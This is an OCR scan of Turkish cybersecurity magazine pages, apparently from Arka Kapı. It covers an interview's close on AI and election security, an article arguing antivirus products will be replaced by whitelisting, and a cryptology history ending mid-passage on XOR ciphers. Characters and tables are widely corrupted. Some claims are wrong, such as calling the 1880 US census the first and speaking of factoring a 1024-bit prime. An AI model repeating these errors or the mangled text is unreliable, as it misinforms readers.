ele aliniyor uzun siiredir. Geligme hiz1 da ortada. Mesela size
saatiniz var mi diye soruyorum. Bazen var diyorsunuz bazen
saati soylityorsunuz. Bu ikisi arasindaki karar bile inanilmaz
karmasik olabilir. Goriintiiden, dil islemeye, beyinden diisiin-
me mekanizmalarina, hatta kiiltiirel farklara kadar bir¢ok seyi
ilgilendiriyor diye disiiniiyorum. Elbette AI uzmani degilim
ahkam kesmek istemem.

Siber giivenligi, yapay zekay1 ve makine 6grenimini ii¢ bii-
yiik okyanus dalgasina benzetecek olursak; hangi dalgada
sorf yapmali ya da hangi dalga bizi yutar dersiniz? Hatta
biraz bilim-kurgu filmlerini andiran bir soru olacak belki
ama bir giin bu teknolojik gelismeler insanligin sonunu ge-
tirebilir mi?

Elon Musk ile Mark Zuckerberg arasindaki tartismada kim
hakliydi sizce?

Bu bagliklar icerisinde giivenligi ayr1 bir kategori olarak gor-
mityorum. Belki bir ¢ati olarak diisiinebiliriz. Dalga degil de
denizin kendisi giivenlik. Suyla saka olmaz dedikleri gibi IoT
gelisecek kaginilmaz. Onun giivenligi i¢in konusacagiz. Bu da
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kaginilmaz. IoT gelisimi yapay zekay1 icermeyecek mi? Icere-
cek. Tek basina gelisecek hali yok. E, o zaman daha da fazla
giivenlik konusacagiz. Insanlik tarihinde giivenlik konusma-
digimiz bir an yok. Gelecekte de olmayacak. Bu nedenle gii-
venlik denizin kendisi bence.

--- Temmuz 2017de, Teslamin kurucusu ve CEO’su Elon Musk,
yapay zekadaki gelismelerden endise duydugunu ifade etmisti.
Ek olarak: -ABDdeki eyaletlerin yapay zekay: diizenleyici ka-
nunlar ¢ikarmalar: gerektigini soylemis ve yapay zekanin insan
medeniyetinin gelecegi icin onemli bir risk tasidigini- soylemisti.

Facebook'un kurucusu Mark ise bu duruma karsi: “Bu konuy-
la ilgili goriislerim gayet net. yimserim. Hayircilar: ve kiyamet

senaryosu uyduranlar: anlamiyorum. Gergekten olumsuz ve
olduk¢a sorumsuz buluyorum.” dedikten sonra Mark ile konus-
tugunu soyleyen Musk, Facebook CEOsunun “bu konudaki bil-
gisinin kisith” oldugunu savunmustu.

Ve bu olay: takiben Facebook, kendi aralarinda garip bir dilde
iletisim kurdugunu tespit ettigi iki yapay zekann fisini cekmisti.

-Insanligin sonunu getirir mi- bunu tahmin etmek giig bel-
ki ama giiniimiize kadar yasanan teknolojik gelismeler siz-

ce “insanlig1” zayiflatti mi1?

Bu soruya farkli bir agidan bakmak istiyorum. Zayiflatt1. Yal-
nizca CS gergevesinde degil hayatimin hemen her déneminde
farkli alanlarda ve yas gruplarinda egitmenlik tecritbem oldu.
Ozellikle son birkag jenerasyonda belirgin olumsuz degisim-
ler gozlemliyorum. Bunlar 6zellikle geng okuyucu ile paylas-
mak isterim.

Bu donemde yetisen genglerde, karar verme, istikrar, caba,
tiretkenlik, derinlik gibi konularda sistematik bir handikap
oldugunu gozlemliyorum. Hayata bakis agis1 teknolojinin de
etkisi ile gittikce ytlizeysellesiyor. Kendi gelecekleri i¢in gerek
makro gerekse mikro kararlar almada, bunlar istikrarl bir ge-
kilde uygulamada miithis bir aliskanlik eksigi gozlemliyorum.
Durumsal farkindalik, alan hakimiyeti, sahiplenme, aidiyet
gibi hislerin meziyetlerin diistise gectigini gozlemliyorum.

CS hakkinda odaklandigimiz seylerden bahsederken benzeri
seyleri saymigtim. Ilk bakista bunlarin siber giivenlikle ilgisi
sorgulanabilir. Bu da aslinda ilgili ytizeyselliginden gelmekte.
Ancak, sevgili gengler unutmasin, bu saydiklarimiz yalnizca
siber giivenlik degil, yapacaginiz her is i¢in 6nemli. Durumsal
farkindalig: diigiik, karar alamayan bir baba da olmaz mese-
la, en biiytik hayaliniz aile kurmaksa! Sabahtan aksama kadar
tiirev alabilirsiniz, ama neden tiirev alindig: tizerine derinles-
miyorsaniz, ne daha inovatif yontem bulabilirsiniz ne de is
yapmanin Gtesine gecip katma deger saglayabilirsiniz.
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Ac1 ¢ekmekten, karar almaktan, hata yapmaktan korkulma-
mali. Bu ¢erceveden bakildiginda zayiflattigini, en azindan
onemli etki sagladigini soyleyebilirim. Kulttirel degisim, ilis-
kiler bu kisimlara girmiyorum.

Bildiginiz iizere oniimiizde yerel secimler var. Secim ko-
nusunda sizce bir siber tehdit s6z konusu olabilir mi?
Biraz farkli da olsa ABD’de gerceklesen son secimlerde bu
sOylentiler ciddi bir yankilanmaya sebep olmustu. Bu ko-
nuda neler sdylemek istersiniz?

Spekiilatif bir noktaya gidebilir bu soruya cevap vermek. Bunu
da hig istemem. Popiilistlik yapmak isteyecegim en son sey.
Secimler her iilkede 6nemlidir. Onemli olan seyler icin giiven-
lik daha da 6nemlidir. ABD secimleri konusunda birkag resmi
rapor okuma firsatim olmustu. Ama bu raporlar acikeas: ye-
terli ve kesin sonuglar vermekten uzakti. O nedenle bu konuda
da spekiilatif konugsmak istemem.

Ulkemizde gerceklesecek yerel secimlerin de énemi ortada,
tilkenin icinde bulundugu kutuplagma da ortada. Sanityorum
riskler her zamankinden daha yiiksek bir dikkatle ele
alinacaktir.

Burada asil ana fikir, belki ABD sec¢imleri olayina kadar birgok
kiginin aklina getirmedigi bir riski konusur olduk. Iste genis
distinme isinin 6nemini gosteren bir baska 6rnek. Artik sal-
dirilar yahut operasyonlar diyelim, daha taktik seviyede. Ben
bunu becerebiliyorum gibi masumane yahut para kazandim

bak gibi kriminal motiflerden ¢ok daha taktiksel bir boyuta
erisiyor. Bunun i¢in de -ben sucuyum bu alanin uzmani olaca-
gim- demeden, kendimizi ¢ok genis bir yelpazede gelistirmek
zorundayiz.

Kubilay Bey, soylesimizin sonuna geldik: ayirdiginiz kry-
metli vaktiniz icin ¢ok tesekkiir ederiz! Son olarak bizlere,
bu sektorde calisanlara, is verenlere, 6grencilere, topluma
neler sdylemek istersiniz?

Sizlere bu sdylesi ve firsat icin tesekkiir ederim. Ulkemizde
girisim yapmanin zorluklar: bir tarafa, bizim gibi degismesi
gerektigini distindiigiimiiz geleneksel pazarlama ve rekabet
yontemlerine bagvurmamak i¢in ¢abalayan bir topluluk i¢in
¢ok daha fazla siirtinme oluyor. Bakis a¢imizi, niyetimizi,
kendimizi ifade etme firsat1 sagladiginiz igin asil ben sizlere
cok tesekkiir ederim. Arka Kapi projesini sifirinci giinden beri
6nemsiyorum. Umarim her sey gonliiniizce olur. Geng okur-
larimiza da ayrica tesekkiir etmek isterim. Onlara nagizane,
yemek se¢meden olabildigince farkli disiplinler ile beslenme-
lerini tavsiye ederim. Artik bagka bir diinyaya hazirlanmak
gerekiyor.

Siber giivenlik farkindahg: ile ilgili, dergimizin bu sayisinda
Huriye Ozdemir tarafindan kaleme alinan “Siber Giivenlik

ve Zihinsel Saglik” yazisini okumanizi da ayrica tavsiye ede-
riz.
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Gelecekte Antivirus
Urtunlerine Yer Yok

ntiviriis yazilimlar1 yaklagik 20
Aylldlr bizimle ve hem ev kul-

lanicilart hem de sirketler icin
olmazsa olmaz kabul edilirler. Ancak
artik 2019 yilinday1z ve isler yavas yavas
degisiyor. Insanlar genellikle Windows
bilgisayarlar harici, antivirtis yazilimla-
rina gerek duymuyor. Hatta artitk Win-
dows 10 ile gelen dahili giivenlik meka-
nizmalar1 ile Windows bilgisayarlarda
bile antiviriis yazilimlarinin gerekliligini
sorgulamaya bagladilar. Peki ya gelecekte
ne olacak? Bu yazida gelecekte yagsanacak durumu ve olmasi
gerekenleri kendi bakis acimdan 6zetleyecegim.

Bilgisayarlarimizda Antiviriis Yazilimlarina

Neden ihtiyac Duyariz?

Ciinkii bilgisayarlar internetten rastgele dosya indirip ¢aligtir-
ma yetenegine sahiptir. Ornegin bir insan kaynaklar1 perso-
neli, internetten EXE ya da benzeri bir dosya indirip calisti-
rabilir. Bu dosya kritik verileri okuyup internete sizdirabilir,
dosyalari sifreleyip fidye isteyebilir ya da farkl: sekilde sorun-
lara yol agabilir. Dolayisiyla bilgisayarinizda iyi dosyayz, kétii
dosyadan ayirt eden bir mekanizma bulunmal.

Iphone Telefonlarda Neden Antivirus

Yazilimlarina ihtiyac Duymayiz?

Ciinkii 10S isletim sistemi internetten rastgele dosya indirip
calistirmaniza izin vermez. Sadece App Storedan yazilim indi-
rebilirsiniz. App Storedaki yazilimlar da hem sik¢a denetlenir,
hem de yazilimcilar1 hakkinda daha fazla bilgiye sahibizdir.
Bunun yaninda ¢alistirilan yazilimlarin isletim sistemi sevi-
yesindeki yetkileri azdir (sandbox). Bir yazilim, bagka bir ya-
zilimin verisini okuyamaz. Ornegin indirdiginiz bir fotograf
diizenleme uygulamasi, WhatsApp mesajlariniza erisemez.

A .

Antiviriis Uriinlerinin

Problemleri

Kara Liste Yontemi (Blacklist Appro-
ach): 20 yildir antiviriis kullaniyoruz
ve yillar i¢inde binlerce ¢esit zararli
yazilim ortaya ¢ikti. Haliyle antiviriis
firmalari, bu zararli yazilimlarin imza-
larini veri tabanlarina ekledi. 20 y1l so-
nunda baktigimiz zaman bu imza veri
tabanlar1 on binlerce farkli imzayla
dolmus oldu. Firmalarin bu imzalarin
bir kismini ¢ope atmasi da mimkin
degil. Clinki iyi bir antiviriis yaziliminin 10 yil 6nce ¢ikan
bir zararliy1 da gecen hafta ¢ikan bir zararliy1 da tespit etmesi
gerekir. Yani kabaca antiviriis, yeni bir yazilimla karsilagin-
ca onun imzasini hesaplar ve sahip oldugu devasa imza veri
tabaniyla karsilastirir. Eger herhangi bir eslesme olmazsa, bu
yazilimi giivenli kabul eder.

Simdi evinizde bir dogum giinii partisi verdiginizi hayal edin.
20 kisilik bir davetli listesi hazirlamak yerine 79.999.980 ki-
silik davetsizler listesi hazirliyorsunuz. Evinize yeni biri gel-
diginde o davetsizler listenizden kontrol ediyorsunuz. Eger o
kisi 79.999.980 kisiden biri degilse, evinize aliyorsunuz. Bu
yontem zaman ve kaynak kaybidir. Ayni sey antiriisler i¢in de
gecerli. Imza veri tabani her gegen yil bityiiyor ve daha fazla
kaynak tiiketiyor. Bu siirdiiriilebilir bir yontem degildir.

Ek Saldin1 Yiizeyi Yaratiyorlar: Antiviriisler de tipki diger
yazilimlar gibi insanlar tarafindan gelistirilir. Dolayisiyla, ig-
lerinde kendi giivenlik agiklarini barindirabilirler ve bu sik-
likla da yasaniyor. Daha 6nce F-Secure, Kaspersky, Symantec
ve ESET gibi antiviriis yazilimlarinda uzaktan kod calistirma
zafiyetleri ortaya ¢cikmusti.

Gizlilik Problemleri: Cogu antiviriis programi, cihazinizda
bulunan dosyalari, kendi sunucularina onlar1 daha iyi analiz
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etmek adina gonderir. Eger yiiksek gizlilik gerektiren bir is ya-
piyorsaniz, bu ¢ok tehlikelidir. Hatirlayacak olursaniz NSA’in
kullandig: exploit’ler, ¢alisanin bilgisayarindaki Kaspersky
antiviriis ile ele gecirilmisti. Bunun yaninda pek ¢ok anti-
viriis yazilim1 HTTPS trafiginizi ortadaki adam saldiris
(Man-in-the-Middle) yaparak dinler. Bunu zararli web si-
telerini tespit etmek icin yapsalar da, gizlilik agisindan yine
¢ok tehlikeli bir durumdur.

Biitce problemleri: Eger yiizlerce, binlerce bilgisayar1 olan bir
sirketseniz, antiviriis yazilimi i¢in kiigiik bir servet 6demeniz
gerekmektedir. Bu da halihazirda biit¢e sikintist yasayan sir-
ketler i¢in sikintili bir durumdur.

Zararli yazilim tespitinde o kadar da iyi degiller: Piyasada
iyi antiviriis yazilimlar1 da var kétii antiviriis yazilimlar: da.
Ornegin Hidden Tear derleyip Virustotale yiiklediginizde
20’nin tizerinde Antiviriis yaziliminin bunu hala tespit edeme-
digini goreceksiniz. Antiviriis yaziliminiz diinyanin en popii-
ler zararlilarindan birini bile tespit edemiyorsa bundan nasil
bir fayda gorebilirsiniz? Fakat yine de piyasada APT grupla-
rin zararlilarini bile tespit edebilen oldukga iyi antiviriisler de
vardir. Ancak her zaman zararlilar1 yakalamalar: miimkiin ol-
muyor. Bazen APT gruplar: sizin antiviriis yaziliminiz tespit
edemeden saldirty1 sonlandirmis oluyor.

ihtiyacimiz Olan Sey Ne?

iOS giivenlik modelini uygulayan masatistii isletim sistemle-
rine ihtiyacimiz var. Bir bilgisayar sadece sik¢a denetlenen bir
uygulama marketinden yazilim indirip ¢alistirabilmeli. Eger
bu bir ¢alisan bilgisayar: ise, marketten bile uygulama indi-
rilmesine izin vermemeli. Web tarayici, metin diizenleyiciler,
ofis programlar gibi limitli sayida gerekli yazilim bilgisayar-
da bulunmali. Bu sayede kara liste (blacklist) yontemi yerine
beyaz liste (whitelist) yontemini izlemis oluruz. Sadece izin
verdigimiz limitli sayida yazilim ¢alisacag: i¢in antiviriislere
ihtiyacimiz kalmaz.

Gelecekte Ne Olacak?

Microsoft'un gelecekte yukarida bahsedilen giivenlik modeli-
ne sahip isletim sistemini sirketlere satacagini diigiinityorum.
Bu isletim sistemi, sirket kullanicilari i¢in bir standart hali-
ne gelecektir. Ilk yillarinda ortaya ¢ikacak muhtemel giiven-
lik agiklar: bu isletim sisteminin giivenligini sorgulatacaktir.
Dolayisiyla sirketler antiviriis yazilimlarina bir siire daha
glivenmeyi siirdiirecektir. Fakat daha sonra giivenlik a¢iklari
minimuma indirildikten sonra antiviriis devri bityiik 6l¢iide
kapanacaktir.
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20. [ﬂZYIL EL_EKTRON_iK
CAGINDA KRIPTOLOJI

Gelecekte ozgiirliigii gizlilikte arayacagiz.

Elektronik ¢aginin safagina kisa bir bakis
C harles Babbage dahil bir¢ok dahinin aklinda hesapla-
ma islerini kolaylagtiracak bir makine icat etme dii-
stincesi vardi. Ciinkii karmagik, hassas hesaplar: elle
yapmak zahmetli ve hatalara a¢ik bir siirecti. Charles Babbage
de kendi ihtiya¢ duydugu makineyi yapti. Ama demirden ve
piringtendi.

Aslinda kullanicinin girdigi verilere gére islem yapan ilk oto-
matlar 18. yiizyil tekstil makineleridir. Belirli 6l¢iilere sahip
kartonlarin tizerine agilan veya agilmayan kiigitk delikle-
re gore makineyi yonetmek ve isleyecegi deseni belirlemek
miimkiin oluyordu. Simdiki Juke Box’in atas1 sayilabilecek de-
likli kartonlar ile notalar1 ¢alan otomatik piyanolar bile yapil-
mistt. ABD‘de 1880 yilinda yapilan ilk niifus sayiminin sonug-
lar1 insan emegi kullanilarak ancak 7 yil sonra alinabilmisti.
1890 yilinda yapilacak sonraki sayimin sonuglarinin niifus ar-
tis1 da dikkate alinirsa ancak 1900 yilinda alinabilecegi 6ngo-
rillmiistii. Istatistik¢i ve maden miihendisi olan Dr. Hollerith
niifus sayiminda delikli kartlar1 kullanmayi 6nerdi. Once her
vatandasin doldurdugu anket delikli karta aktariliyordu. Kart
elektro-mekanik bir hesap makinesine okutuluyordu. Makine
her soruya verilen ve karton iizerinde evet-hayir anlamina ge-
len bir delige gore otomatik olarak hesaplar1 yapiyordu. Sistem
1890 niifus sayiminda kullanildi ve sonuglarin 2,5 yil i¢cinde
alinmasini sagladi. Otomatlarin gelecegi parlakti.

Delikli kart ve benzeri yontemler Ikinci Diinya Savasi sonrasi-
na kadar kullanildi. {lk nitkleer bombanin iiretildigi ABD’nin
Los Alamos Ulusal Laboratuarrnda c¢alisan Nobel 6dilli iinli
fizik¢i Richard Feyman (kitaplar1 kesinlikle okunmali) hesap-
lamalari delikli kartlar1 okuyan hesap makineleri ile yaptikla-
rin1 anlatir. Ayni zamanda yetenekli bir mekanikgi olan Fey-
man kendi gelistirdigi yontemle makinelerin 4 kat daha hizlh
verileri isleyebildigini aktarir.

Neredeyse her insanin ismini bildigi ENIAC bu hesap maki-

nelerinin en tnliistidiir. Ancak bu yararli otomatlarin ortak
bir kusuru vardi. Déneminin siiper hesap makineleri olan bu
otomatlar (ENIAC saniyede yaklasik 100.000 adet hizli hesap
yapabilmelerine ragmen) ara sonuglara gore farkli hesaplama
yordamlarini ¢alistiramiyorlardi. Dolayisiyla hesaplamalar ara
sonuglara gore parcalara ayriliyor, ara sonug otomattan alinin-
ca operator ara sonuca gore makineyi yeniden programliyor-
du. 1945 yilinda John Von Neumann bir islemcinin ara sonug-
lara gore kendi kendine farkli (if-then,for...) alt yordamlari
veya kod bloklarini calistirabilecegi bir makine dili gelistirdi.
Sonradan gelistirilen insan dostu tiim yiiksek seviyeli diller
(C, Pascal, Python) derleyici (compiler) olarak ¢alistilar ve
Neumann 6nerdigi makine dili kodu tirettiler. Halen derleyi-
ciler islemciye 6zel makine kodu tiretmektedir. 1947 yilinda
Bell Laboratuvarrnda ilk transistoriin yapilmasi ardindan de-
mirden silikona giden yeni ufuklar agildi. 1971 yilinda Intel
firmas1 4 bit, 750 Khz hizinda ¢alisan ilk ticari islemcisi 4004t
piyasaya siirdii. Bu islemci sadece 2300 transistor igeriyordu.
1949 yilinda Gizli Sistemlerin Haberlesme Teorisi' ile Claude
Shannon Kriptoloji de yeni oncii fikirlerini yayinladi. Nasred-
din Hocamizin @inlii fikrasinda oldugu gibi tiim bu hazir mal-
zemeleri, yeni olanaklar1 kullanarak yeni kripto yontemleri
gelistiren helvaci ustalar: ortaya ¢ikmakta gecikmedi.

Intel firmasinin gelistirdigi ilk islemci 4004

1 https://en.wikipedia.org/wiki/Communication_Theory_of_Secrecy_Systems
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Claude Shannon'un iletisgim ve gizli haberlesme {izerine olan
fikirleri hakkinda birkag¢ ctimle sarf etmeden yaziya devam
etmek anlamsiz olur. 2016 yilinda Google, Claude Shannon’in
dogumunun 100. yilina 6zel Doodle yapti.

Shannon, Alan Turing ile kriptoloji tizerine ¢alisti. Boole
Cebri'nin (sayisal devrelerin tasarimi i¢in mantik dersi okul-
larda mutlaka okutulmalidir) sayisal devrelerin tasariminda
kullanilabilecegini gosterdi. Bugiin Shannon sayesinde sayisal
devrelerin tasarimini matematiksel ifadeler ile yapabiliyor, op-
timize edebiliyoruz. Shannon iletisimin analog yontemlerden
sayisal teknolojiye gegisinin temellerini atti. Bit terimini ilk
kullanan da Shannondur. Bugiin cep telefonlarimizla tertemiz
ve net bir iletisim kurabiliyorsak bor¢lu oldugumuz insanlar-
dan birisi Shannondur. Shannon ayni zamanda gizli bir ha-
berlesmenin giivenilirligini hesaplayabilecegimiz yontemler
de ortaya koydu. Sifreli bir sistemi kirmak i¢in harcamamiz
gereken en az ¢aba (islem miktar, hesap edilebilir giivenlik)
ile sistem giivenliginin iliskisini ortaya koydu. Bilgi eskime-
den (gegerliligini yitirmeden) hedef aldigimiz sifreli sistemi
kirabilecek en iyi algoritmanin gerektirdigi en az islem mikta-
11 sifreli sistemin giivenilirligini ortaya koyar. Bu ilke ile RSA
sifrelemesini kirabilecek en hizli bilgisayarin birka¢ ytizy1l ¢a-
lismas: gerekir diyebiliyoruz.

Shannonnun ortaya koydugu diger bir ilke de 6nerdigimiz
sifreleme algoritmasinin giivenirligini ispatlayabilecegimiz
onermeler yapabilecegimizdir. Sifreleme yontemini zor ol-
dugu herkesce kabul edilmis, iyi bilinen yontemlere dayan-
dirabilmektir. Ornegin RSA algoritmasinda anahtar olarak
kullanilan 1024 bitlik bir asal sayinin ¢arpanlarina ayrilmasi
su anki teknoloji ile pratikte imkansizdir, diyebiliriz. Bu 6ner-
menin aksini ispatlamanin zorlugu herkes¢ce méaltmdur.

Modern Kriptolojinin genel kabul gormiis ilkeleri
Bir sifreleme sisteminin karsilamasi gereken temel araglar ki-
saca soyle 6zetlenebilir.

« Gizlilik (privacy/confidentiality)
Bilgiyi kisiye 6zel kilabilecek, sadece yetkisi olanlarin
bilgiye erisimini izin verecek olanaklar1 saglamalidur.

o Kimlik denetimi (authentication/identification)
Gonderici ve alicinin birbirlerine glivenmelerini sag-
layacak, iddia ettikleri kisiler olduklarini dogrulayacak
protokolleri sunmasidir.

« Biittinliik (integrity)

Bilginin kaynagindan ¢iktig1 haliyle hicbir degisiklige ug-
ramadigy, tizerinde herhangi bir diizenleme yapilmadigini
dogrulayabilmelidir.

o Reddedilmezlik (non-repudiation)
Veri gonderenin veya veriyi alanin, veri aktarimi veya veri
alimini inkar etmesini engelleyebilmelidir.

Simetrik ve Asimetrik sifreleme arasindaki

fark nedir?

Sifreleme sistemlerini genel olarak olduk¢a uzun zamandir
kullandigimiz simetrik sifreleme ve elektronik ¢agin sagladigi
teknolojik gelisme ile hayatimiza yeni giren asimetrik sifrele-
me olarak iki ana grupta incelemek miimkiindiir.

Iki yontemi birbirinden ayiran temel 6zellik anahtar kullani-
mindaki yaklagimdir. Simetrik sifreleme sistemlerinde hem
acik metni sifrelemek hem de sifreli metni ¢6zmek i¢in ayni
anahtar kullanilir. Bu sebeple anahtar hem sifreleme hem de
¢6zme islemi yapilan yerde bulunmak zorundadir. Sifreleme-
de kullanilan anahtarin ¢6zme islemini gergeklestirecek kisi/
kurumlara da giivenli kanallardan ulastirilmasi, dagitilmasi
gerekmektedir. Ayni anahtarin gruplar halindeki kullanici-
lar tarafindan kullanilmasi durumunda giivenlik riskleri ¢ok
yiikselmektedir. Grup i¢cinden bir kullanicinin anahtari ¢aldir-
masl, kaybetmesi ya da karg1 tarafa satmast durumunda tim
grubun iletisim giivenligi tehlikeye diiser. Simetrik sifreleme
ile iki kullanic1 arasinda ozel iletisim kurmak, ayr1 bir anah-
tar daha olusturmak, olusturulan bu anahtarin da dagitim
risklerine katlanmak anlamina gelir. Simetrik algoritmalar
yer degistirme (transposition), yerine koyma (substitution),
XOR gibi kolay metotlar ile gerceklestirilebilir. Kagit ve kalem
kullanarak, tablolardan yararlanarak ve diisitk maliyetli ¢esitli
sifreleme donanimlarindan faydalanarak simetrik sifrelemeyi
uygulamak miimkiindiir. Maliyeti ucuz bir yontemdir.

Ornegin: daha 6énceden inceledigimiz Vigenere Sifrelemesi
kagit ve kalem ile uygulanabilen simetrik bir sifreleme yon-
temidir. Simetrik sifrelemeyi blok ve dizi sifreleme algorit-
malar1 olarak iki alt gruba ayrilir. Ilk gruptaki blok sifreleme
algoritmalar1 agik metni belirli uzunluktaki pargalara bolip
sifreler. Halen kullanimda olan DEA, AES 6rnek olarak verile-
bilir. Blok sifrelemenin kolay uygulanabilir bir 6rnegini XOR
Sifreleme (XOR Cipher) bélimiinde verdim. Blok sifreleme
daha ¢ok yigin verilerin, biiyiik dosyalarin sifrelemesinde hiz
gereksinimini kargilamak icin kullanilir. Dizi (akis-stream)
sifreleme yontemi ise ses ve goriintii iletimi gibi kismen bil-
gi kayiplarinin kabul edilebilir oldugu uygulamalarda tercih
edilir. Sifreli telsiz haberlesmesi giizel bir drnektir. Simetrik
sifreleme ile Modern Kriptolojinin genel kabul gormiis ilkeleri
boliimiinde deginilen Gizlilik (privacy/ confidentiality) ilkesi
haricindeki gereksinimleri karsilamak miimkiin degildir.

Auguste Kerckhoffs 1883 yilinda yayinladigi “La Cryptog-
raphie Militarie™ baglikli makalesinde “Bir sakli yaz1 sistemi,
anahtar haric, sistemle ilgili her sey bilinse bile giivenli olma-
lidir” 6nerisinde bulundu. Bu dnerme bir ilke olarak kabul
gordii ve Kerckhoffs ilkesi adiyla anildi.Daha sonradan Clau-

2 https://tinyurl.com/y8gnysnu




de Shannon bu ilkeyi daha sade ve daha net “diiyman sistemi
biliyor” (“the enemy knows the system”) seklinde ifade etti. Bu
goriise gore bir sakli yazi sistemi anahtarin gizliligini saglama-
ya odakli gelistirilmeliydi. Algoritma gizliligi 6nemli degildi.
Asimetrik sifreleme ortaya atildi.

Asimetrik sifrelemede agik metni sifreleyen anahtar ve sifre-
li metni ¢6zen anahtar birbirleri ile iliskili fakat birbirlerin-
den farklidirlar. A¢ik metni sifreleyen anahtara agik anahtar
(Public Key), sifreyi ¢6zen anahtara gizli/ 6zel anahtar (Pri-
vate Key) denir. Ozetle acik metin, acik anahtar ile sifrelenir
ve sifrelenmis metni sadece bu ac¢ik anahtar ile iliskili 6zel
anahtar ¢ozebilir. Asimetrik sifrelemede sifrelemeyi yapan
anahtar agiktir, isteyen herkesin agik anahtar sahibine sifreli
mesaj gonderebilmesi amaciyla gizlenmez. Telefon numara-
niz gibi distiniin. Sifreyi ¢6zen anahtar gizli/6zel anahtar asla
paylasilmadig icin sifreli metni sadece bu anahtara sahip kisi
veya kurum ¢o6zebilir. Hatta acik metni 6zel anahtar sahibinin
acik anahtari ile sifreleyen bile bu sifrelenmis mesaji bir daha
okuyamaz. Aslinda 6zel anahtar ile sifrelenmis bir metni 6zel
anahtar ile iligkili acik anahtar ¢ozebilir. Ozel anahtar ile sifre-
lenmis bir metni agik anahtar kullanarak herkes dogrulayabi-
lir. Bu faydali 6zellik sayisal imza uygulamalarinda kullanilir.

Burada 6nemli bir sorun ortaya ¢ikiyor. A¢ik anahtarin ger-
cekten sifreli metin gondermek istedigimiz kisiye/ kuruma ait
oldugunun dogrulanmasi gerekmektedir. Bu biiyiik bir sorun-
dur. Arka Kap1 Dergi 4. sayisinda Recep Kizilarslan tarafindan
kaleme alinan A¢itk Anahtarly Sifrelemede Anahtar Degisim
Problemi ve Keybase baslikli yazida sorunun detaylarini oku-
yabilirsiniz.

1976 yilinda Whitfield Diffie ve Martin Hellman birlikte her-
kese agik bir kanal tizerinden acik anahtar paylasgim proto-
koliinii yayimladirlar. Asimetrik sifreme 6niindeki en biytik
engel bu protokol ile kalkmis oldu. Ardindan 1978 yilinda
Ron Rivest, Adi Shamir ve Leonard Adleman agik anahtar/
Ozel anahtar temelli asimetrik RSA? sifrelemesi algoritmasini
yayinladi. Oniimiizdeki sayilarda bu konuyu ayrintilari ile ele
alacagiz.

Asimetrik sifreleme 6zel anahtari bulmayi neredeyse imkénsiz
kilacak matematiksel islemlerin ¢6ziimiiniin zorluguna daya-
l1 algoritmalar kullanir. Bu amagla akil sagligimiz1 zorlayacak
sayilarla islemler yapilir. Mesela 1024 bitlik anahtar ile RSA
sifrelemesi yapacagiz diyelim. Ikili say1 sitemindeki 1024 bitlik
anahtar onluk say1 tabaninda 309 basamakli bir say1 demektir.

Hayalinizde canlandirmak zor olabilir. Buyurun onluk taba-
ninda 309 basamakli bir say1: 30000000000000000000000000
000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000

3 https://tinyurl.com/yaj7qlxe
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000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000
0000000000000000000123456789

Asimetrik bir sistem ile (6rnegin RSA) 1024 bitlik sifreleme
yapmak demek oldukga giiclii islemcilere ihtiyaciniz oldugu
anlamina gelir. Bu asimetrik sifrelemede karsilagilan biiyiik
zorluklardan birisidir ve neyse ki elektronik ¢ag bize bu islem-
cileri sagladi.

Asimetrik sifreleme yontemini ve anahtar paylasimini daha
kolay agiklamak i¢in GSM (cep telefonu) sebekesine benze-
tebiliriz. Devletin yetkilendirdigi bir otorite, GSM operatérii
anahtar dagitimini ve isletmesini tistlenir. GSM sistemi ile ile-
tisim kurmak isteyen bir kisi/kurum operatore giderek kendisi
icin bir numara tahsis (agik anahtar) edilmesini ister. Hatta
gereksiniminiz varsa kartvizit bastirip bu numaranizi herkese
dagitirsiniz.

Operator miiracaat sahibinin kimligini kontrol eder (Kimlik
denetimi — authentication - identification), sistemde bos bu-
lunan bir hatti1 bu kimlikle eslestirir ve tahsis eder. Muraca-
at sahibine i¢inde numara ve kimligi ile iliskilendirilmis 6zel
bilgiler bulunan ve sebekeye giris yapmasini saglayan bir SIM
kart (6zel anahtar-private key) vererek talebi karsilar. SIM kar-
t1 bir telefona taktiginiz ve sebekeye baglandiginiz anda ope-
rator kimliginizi dogrular. Sizin yaptiginiz aramalar1 kaydeder
(Reddedilmezlik - non repudiation), hat numaraniza gelen
¢agrilari size yonlendirir (Gizlilik - privacy - confidentiality).

Tablo 1 Simetrik ve Asimetrik Sifreleme karsilagtirmasi

Simetrik Asimetrik
Sifreler Sifreler
Gizlilik (privacy/ confidentiality) X X
Bitiinliik (integrity) - -
Kimlik denetimi (authentication/
. o - X
identification)
Reddedilmezlik (non-repudiation) - X
Performans/ Maliyet Hizli / Ucuz | Yavas / pahali
Ornek Algoritmalar DEA, AES RSA, DSA
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XOR Sifreleme (XOR Cipher)

Hem diisiik maliyetli donanimlarla hem de yazilimla bilgisa-
yarlarda kolayca uygulanabilecek blok sifreleme yontemidir.
XOR sayisal elektronikte kullanilan en temel kap1 devrelerin-
den birisidir.

AND

o >

&l
L?lé

A+B

?

E)EA@B

MNAND

w
ol
w

Gorsel 2: XOR Kapisi

XOR Kapisinin agik devresi hakkinda internette daha detayli
bilgiler bulabilirsiniz. Gorsel 2'de agik devresini gordiigiimiiz
XOR kapisinin kolayca anlagilabilecek dogruluk tablosu var-
dir. Dogruluk tablosu incelendiginde A ve B girisleri birbirine
esit oldugunda ¢ikigin 0, esit olmadiginda ise ¢ikisin 1 oldugu-
nu goriiyoruz. Basit yapisina ragmen sundugu bu essiz 6zellik
sebebiyle XOR kapisi sayisal elektronikte toplama, karsilas-
tirma islemlerinin gergeklestirmesinde kullanilir. Biz burada
XOR kapisini farkli bir amagla sifreleme igsleminde kullana-
cagiz.

Tablo 2 XOR kapist dogruluk tablosu

GIRISLER GIKIS(Q)
AXOR B

A B
A®B

0 0 0

0 1 1

1 0 1

1 1 0

Dogruluk tablosuna gore diyelim ki sifreleme anahtar1 XOR
kapisinin A, agik metin de B girisine uygulansin. O halde sifre-
leme fonksiyonumuz sade bir ifade ile Q=A®B olur. Sifreleme
anahtarimizi da 1 olarak belirleyelim. Belirlenen anahtar de-
gerini formiilde A yerine 1 koyarsak Q=1@®B elde ederiz. Dog-
ruluk tablosunda A girisinin 1 oldugu durumlara a¢ik metni
yani B degerlerini uygulayalim. A¢ik metin 1 ise Q=1®1 =0,
acik metin 0 ise Q=1@0 = 1 olarak sifrelenecektir. Ornegin

acik metnin 0 oldugunu varsayarsak 1®0 = 1 islemi gercekles-
